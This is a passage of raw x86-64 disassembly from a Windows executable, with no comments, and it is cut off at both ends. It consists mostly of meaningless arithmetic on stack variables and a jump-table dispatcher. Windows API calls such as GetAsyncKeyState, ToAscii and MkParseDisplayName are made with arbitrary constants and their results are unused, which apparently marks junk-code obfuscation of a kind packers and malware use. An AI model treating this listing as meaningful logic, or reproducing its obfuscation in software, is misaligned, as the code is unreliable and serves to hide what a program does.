mov word [rsp + 0x298c], ax
lea rax, [rsp + 0x43d]
mov qword [rsp + 0x12f38], rax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x12f40], rax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x12f48], rax
mov dword [rsp + 0xa7ac], 0x8fdf
lea rax, [rsp + 0xa774]
mov qword [rsp + 0x12f50], rax
lea rcx, [rsp + 0x41a18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
jmp 0x14001a5c9
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x12f58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f58]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa774], eax
jmp 0x14001a5c9
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12ee0]
mov qword [rsp + 0x12f60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa774], eax
jmp 0x14001a5c9
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
jmp 0x14001a5c9
mov r8d, 0x93
lea rdx, [rsp + 0x12f10]
mov rcx, qword [rsp + 0x12f68]
call qword [sym.imp.USER32.dll_CharToOemBuffW]
mov dword [rsp + 0xa7b0], eax
jmp 0x14001a96e
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
and eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
and eax, 0xf0e
mov word [rsp + 0x298c], ax
mov r9d, 0x10
mov r8d, 0xee
mov rdx, qword [rsp + 0x12f70]
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_HiliteMenuItem]
mov dword [rsp + 0xa7b0], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
sub eax, 0x78
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
jmp 0x14001a96e
movsx eax, byte [rsp + 0x6b0]
add eax, 0x18
mov byte [rsp + 0x6b0], al
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
or eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov dword [rsp + 0x20], 0xbc
lea r9, [rsp + 0x298c]
lea r8, [rsp + 0x12ee0]
mov edx, 0x6f
mov ecx, 0x76
call qword [sym.imp.USER32.dll_ToAscii]
mov dword [rsp + 0xa7b4], eax
mov eax, dword [rsp + 0xa774]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x12f78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12f78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001a96e
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7b4]
shl eax, cl
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov dword [rsp + 0xa7b4], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
and eax, 0x63
mov word [rsp + 0x298c], ax
mov ecx, 0xb8
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov word [rsp + 0x2990], ax
movzx eax, byte [rsp + 0x43d]
add eax, 0x18
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa78c], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001a96e
mov eax, dword [rsp + 0xa774]
mov dword [rsp + 0xa7b4], eax
mov r9d, 0x2e
mov r8d, 0xeb
mov edx, 0xae
mov rcx, qword [rsp + 0x12ed8]
call qword [sym.imp.USER32.dll_DefWindowProcW]
mov qword [rsp + 0x12f80], rax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x197c]
mov word [rsp + 0x2990], ax
jmp 0x14001a96e
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
add eax, 0x8b
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov dword [rsp + 0x20], 0xf2
mov r9d, 0x28
mov r8d, 0xa4
mov edx, 0xe3
mov rcx, qword [rsp + 0x12f88]
call qword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [rsp + 0xa780], eax
lea rax, [rsp + 0xa78c]
mov qword [rsp + 0x12f90], rax
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov dword [rcx], eax
movzx eax, word [rsp + 0x298c]
add eax, 0xee
mov word [rsp + 0x298c], ax
mov r9d, 2
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x12f98]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7b8], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x28ee
mov r9d, 0x5a2
mov r8d, 0x4db
mov edx, 0x95a
mov rcx, qword [rsp + 0x12ee8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa7c0], eax
lea rcx, [rsp + 0x41a48]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f48]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov rcx, qword [rsp + 0x12f50]
mov qword [rsp + 0x12fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa79c]
add eax, 0x76
mov dword [rsp + 0xa79c], eax
movzx eax, word [rsp + 0x298c]
shl eax, 0xe
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x43d]
or eax, 0x73
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx ecx, word [rsp + 0x2984]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2994], ax
mov rax, qword [rsp + 0x12f90]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b0]
sub eax, 0x4c
mov byte [rsp + 0x6b0], al
cmp dword [rsp + 0xa79c], 0x6d9b
jb 0x14001a99d
movsx eax, word [rsp + 0x2990]
movsx ecx, word [rsp + 0x197c]
or eax, ecx
mov word [rsp + 0x1784], ax
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x12fa8], rax
cmp dword [rsp + 0xa7a0], 0x5120
je 0x14001ad8e
movzx eax, byte [rsp + 0x43d]
sub eax, 0x1b
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12ee0]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7a0]
add eax, 7
mov dword [rsp + 0xa7a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa78c], eax
mov r9d, 1
lea r8, [rsp + 0x12fb0]
mov rdx, qword [rsp + 0x12fb0]
mov rcx, qword [rsp + 0x12ef0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c4], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sar eax, cl
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
xor eax, 0xa11
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
shl eax, cl
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
and eax, 0xe0
mov word [rsp + 0x298c], ax
movsx eax, byte [rsp + 0x6b0]
sub eax, 0x2c
mov byte [rsp + 0x6b0], al
jmp 0x14001ab99
movsx eax, word [rsp + 0x2990]
mov dword [rsp + 0xa7cc], eax
cmp dword [rsp + 0xa7cc], 0
je 0x14001addf
cmp dword [rsp + 0xa7cc], 0x93
je 0x14001b05d
cmp dword [rsp + 0xa7cc], 0x343
je 0x14001b100
cmp dword [rsp + 0xa7cc], 0x6b8
je 0x14001af89
jmp 0x14001b1bf
lea rax, [rsp + 0x197c]
mov qword [rsp + 0x12fb8], rax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
or eax, 0xd
movzx ecx, byte [rsp + 0x43d]
cmp eax, ecx
jne 0x14001af47
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa774], eax
movzx eax, word [rsp + 0x298c]
add eax, 0x651
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
xor eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12f40]
mov qword [rsp + 0x12fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12fc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa774]
sar eax, cl
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x12ed0]
mov rcx, qword [rsp + 0x12fc8]
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
sub eax, 0xbb
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0x157
mov word [rsp + 0x298c], ax
jmp 0x14001af84
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov rdx, qword [rsp + 0x12f50]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jl 0x14001af84
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov dword [rsp + 0xa7d8], eax
jmp 0x14001b1bf
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12f50]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f48]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov edx, 0x6f
mov rcx, qword [rsp + 0x12ec8]
call qword [sym.imp.USER32.dll_CharUpperBuffW]
mov dword [rsp + 0xa7dc], eax
mov rax, qword [rsp + 0x12f50]
mov rcx, qword [rsp + 0x12f20]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fb8]
movzx eax, word [rax]
mov word [rsp + 0x2990], ax
movsx eax, byte [rsp + 0x6b0]
sub eax, 0x74
mov byte [rsp + 0x6b0], al
movzx eax, byte [rsp + 0x43d]
sub eax, 0xa3
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001b1bf
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa7b4]
mov r8d, 0x75
mov edx, 0xd9
mov rcx, qword [rsp + 0x12f18]
call qword [sym.imp.USER32.dll_ScrollWindow]
mov dword [rsp + 0xa77c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0x960
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7dc]
shr eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa7b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
shl eax, 5
mov byte [rsp + 0x43d], al
jmp 0x14001b1bf
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
or eax, ecx
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
lea r9, [rsp + 0x12fc8]
lea r8, [rsp + 0x12ec8]
mov rdx, qword [rsp + 0x12fd0]
lea rcx, [rsp + 0x12fc8]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x12f50]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7b4]
mov ecx, dword [rsp + 0xa7d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [rsp + 0x12f40]
mov rcx, qword [rsp + 0x12f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f40]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x43d]
add eax, 0x61
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
cmp eax, ecx
jne 0x14001b345
mov rax, qword [rsp + 0x12f20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa774], eax
mov eax, dword [rsp + 0xa7d8]
mov ecx, dword [rsp + 0xa7d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
mov edx, dword [rsp + 0xa7e4]
lea rcx, [rsp + 0x12f38]
call qword [sym.imp.ole32.dll_CoMarshalHresult]
mov dword [rsp + 0xa7e4], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
or eax, 0x89a
mov word [rsp + 0x298c], ax
mov eax, dword [rsp + 0xa7dc]
movzx ecx, al
mov eax, dword [rsp + 0xa7d0]
shl eax, cl
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d8]
sar eax, cl
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa7b4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12f20]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7d0]
mov dword [rsp + 0xa7dc], eax
lea r9, [rsp + 0x12f80]
lea r8, [rsp + 0x12ed0]
xor edx, edx
mov rcx, qword [rsp + 0x12fd8]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0xa790], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
and eax, 0xc29
mov word [rsp + 0x298c], ax
movzx eax, byte [rsp + 0x43d]
and eax, 0x91
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2990]
sub eax, ecx
mov rcx, qword [rsp + 0x12fb8]
mov word [rcx], ax
jmp 0x14030ebd0
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0xa7d8]
mov edx, dword [rsp + 0xa7b4]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x14030eabc
movzx eax, byte [rsp + 0x43d]
sub eax, 0x67
mov rcx, qword [rsp + 0x12f38]
movzx ecx, byte [rcx]
cmp eax, ecx
jl 0x14001b469
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0xa7e8], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
shl eax, cl
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
sar eax, 0xa
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa78c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d0], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
lea rdx, [rsp + 0x12fb8]
lea rcx, [rsp + 0x41958]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001b926
movzx eax, word [rsp + 0x298c]
mov dword [rsp + 0xa7ec], eax
cmp dword [rsp + 0xa7ec], 0xa5d
jg 0x14001b4d5
cmp dword [rsp + 0xa7ec], 0xa5d
je 0x14001b8f0
cmp dword [rsp + 0xa7ec], 0
je 0x14001b670
cmp dword [rsp + 0xa7ec], 0x7e
je 0x14001b51e
cmp dword [rsp + 0xa7ec], 0x46a
je 0x14001b876
cmp dword [rsp + 0xa7ec], 0x903
je 0x14001b65d
jmp 0x14001b926
cmp dword [rsp + 0xa7ec], 0xbc7
je 0x14001b898
cmp dword [rsp + 0xa7ec], 0xca2
je 0x14001b8ba
cmp dword [rsp + 0xa7ec], 0xea1
je 0x14001b8d9
cmp dword [rsp + 0xa7ec], 0xec5
je 0x14001b90a
jmp 0x14001b926
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7b4], eax
mov eax, dword [rsp + 0xa774]
mov ecx, dword [rsp + 0xa7b4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b0]
add eax, 0x37
mov byte [rsp + 0x6b0], al
mov rax, qword [rsp + 0x12fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2990]
and eax, ecx
mov word [rsp + 0x197c], ax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
lea r9, [rsp + 0x41968]
lea r8, [rsp + 0x12f08]
mov rdx, qword [rsp + 0x12ec8]
lea rcx, [rsp + 0x12fa8]
call qword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
add eax, 0x9be
mov word [rsp + 0x298c], ax
mov rax, qword [rsp + 0x12f90]
mov rcx, qword [rsp + 0x12f40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa7dc]
movzx ecx, al
mov eax, dword [rsp + 0xa7d0]
shl eax, cl
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x298c]
sar eax, cl
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x43d]
xor eax, 0xdd
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001b926
mov eax, dword [rsp + 0xa774]
mov dword [rsp + 0xa7d4], eax
jmp 0x14001b926
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
mov dword [rsp + 0xa7f0], eax
cmp dword [rsp + 0xa7f0], 0xde
ja case.0x14001b6b4.7
movsxd rax, dword [rsp + 0xa7f0]
lea rcx, [0x140000000]
movzx eax, byte [rcx + rax + 0x30eda4]
mov eax, dword [rcx + rax*4 + 0x30ed84]
add rax, rcx
jmp rax
lea rcx, [rsp + 0x41968]
call qword [sym.imp.ole32.dll_CoSetCancelObject]
mov dword [rsp + 0xa7f4], eax
mov eax, dword [rsp + 0xa7dc]
mov ecx, dword [rsp + 0xa7d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa78c], eax
mov rax, qword [rsp + 0x12f20]
mov rcx, qword [rsp + 0x12ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b4], eax
mov rax, qword [rsp + 0x12f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43d]
add eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
movzx eax, word [rsp + 0x298c]
and eax, 0x6d0
mov rcx, qword [rsp + 0x12fa8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12f90]
mov eax, dword [rax]
mov dword [rsp + 0xa7dc], eax
lea rdx, [rsp + 0xa7d8]
lea rcx, [rsp + 0x12fb8]
call qword [sym.imp.ole32.dll_CoQueryAuthenticationServices]
mov dword [rsp + 0xa7e4], eax
jmp 0x14001b871
mov rax, qword [rsp + 0x12ee0]
mov ecx, dword [rsp + 0xa774]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12f50]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6b0]
or eax, 0x4a
mov byte [rsp + 0x43e], al
jmp 0x14001b871
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0x12fb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1784], ax
jmp 0x14001b871
movzx eax, byte [rsp + 0x43d]
sub eax, 0xb4
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
jmp 0x14001b871
mov rax, qword [rsp + 0x12fa8]
movzx eax, word [rax]
and eax, 0x82b
mov word [rsp + 0x298c], ax
jmp 0x14001b871
mov rax, qword [rsp + 0x12f40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
jmp 0x14001b871
mov r8d, 0xa6
mov rdx, qword [rsp + 0x12f18]
mov rcx, qword [rsp + 0x12f30]
call qword [sym.imp.COMCTL32.dll_DrawInsert]
jmp 0x14001b871
mov rax, qword [rsp + 0x12f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ee0]
mov dword [rcx], eax
jmp 0x14001b926
mov rax, qword [rsp + 0x12ee0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d4]
